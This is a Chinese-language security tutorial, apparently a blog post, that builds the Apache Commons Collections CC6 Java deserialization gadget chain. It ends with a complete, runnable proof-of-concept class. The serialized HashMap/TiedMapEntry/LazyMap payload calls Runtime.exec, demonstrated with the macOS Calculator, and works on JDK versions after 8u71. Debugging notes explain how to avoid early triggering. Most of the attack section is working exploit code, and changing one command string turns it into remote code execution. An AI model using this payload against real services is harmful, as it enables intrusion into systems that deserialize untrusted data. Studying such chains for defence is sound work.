这一次来解决前几篇说到的AnnotationInvocationHandler#readObject
方法在jdk8u71之后无法使用的问题,情况是导弹的弹头仍然生效,但是负责运送的导弹失效了,所以我们需要找一个新的运送导弹。
一、利用链寻找
前面说到我们使用AnnotationInvocationHandler这个类是因为它的readObject方法中队我们初始化好的一个Map调用get(),那现在需要寻找一个新的方法,找gadget一般是反向找,首先看哪个地方调用到了LazyMap.get(),这次找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
在其getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法:
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
// ...
下一步要寻找什么地方调用了TiedMapEntry#hashCode()
ysoserial中,是利⽤java.util.HashSet#readObject
到HashMap#put()
到 HashMap#hash(key)
最后到TiedMapEntry#hashCode()
。
@phith0n的文章中用的是相对简单一些链,从java.util.HashMap#readObject
中就可以找到HashMap#hash()
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// ...
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
}
构造Gadget
现在有了前面的经验,我们来直接根据这些信息写Gadget:
HashMap#readObject --> HashMap#hash() --> TiedMapEntry#hashCode() --> TiedMapEntry#getValue() --> LazyMap#get() 后面和之前一致。
首先一样构造出恶意的LazyMap:
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformer);
Map innerMap = new HashMap<>();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
下一步构造一个TiedMapEntry
,使用构造好的LazyMap
初始化:
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
最终我们要发送一个HashMap对象,初始化一个新的HashMap,并把TiedMapEntry
作为key:
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
HashMap map = new HashMap();
map.put(tme, "whatevedr");
直接序列化发送即可,这里本地复现:
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
//本地反序列化复现
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
执行触发,表面上实现了功能,但是实际上存在问题:
问题
在调试查看调用栈的时候发现,代码并没有执行到readObject就停止了,但是仍然弹出了计算器,报错产生在writeObject(),那么如果是实战,会发现无法得到恶意类的序列化数据。简单思考一下就明白,出现了之前说过的问题,直接把恶意的transform链绑定到lazymap上了,可能前面有某个地方调用到了,或者调试器调用到了,导致本地弹出计算器。
手动调试发现,在new TiedMapEntry时,调试器会触发,弹出计算器。所以我们还要先设置一个假的transform链,最后再通过反射改到真正的恶意链上。
新增加一个faketransformers
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
在map.put后添加通过反射修改ChainedTransformer的字段的代码:
map.put(tme, "whatevedr");
Field f = ChainedTransformer.class.getField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
再执行,发现这次没有报错了,输出了序列化后的数据,但是也不弹出计算器了。继续调试发现在LazyMap#get
调用transform的关键函数前的一个if判断:
因为map中包含一个key名为whatever导致跳过了代码执行部分,但是我们并没有给map增加一个key名为whatever。
poc代码中和whatever有关联的部分只有三行:
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");
在调试时给LazyMap#get
下了断点,重新调试发现在打印序列化数据之前就调用到了这部分,查看调用栈,发现HashMap#put也会调用Hash函数,导致最终的map和预期的不一致:
outMap多了一个key是whatever:
因此解决方案就是手动把这个key去掉:
outMap.remove("whatever");
再次执行成功弹出计算器:
完整代码:
package changez.sec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");
// HashMap.put方法也会调用hash,导致触发利用链执行,但是这时候使用的是faketransformers,没有执行命令但是导致数组多了一个key为whatever,最终会导致反序列化时无法执行命令
// 手动删除这个key保证执行到LazyMap.get()里面的this.factory.transform(key)
outMap.remove("whatever");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}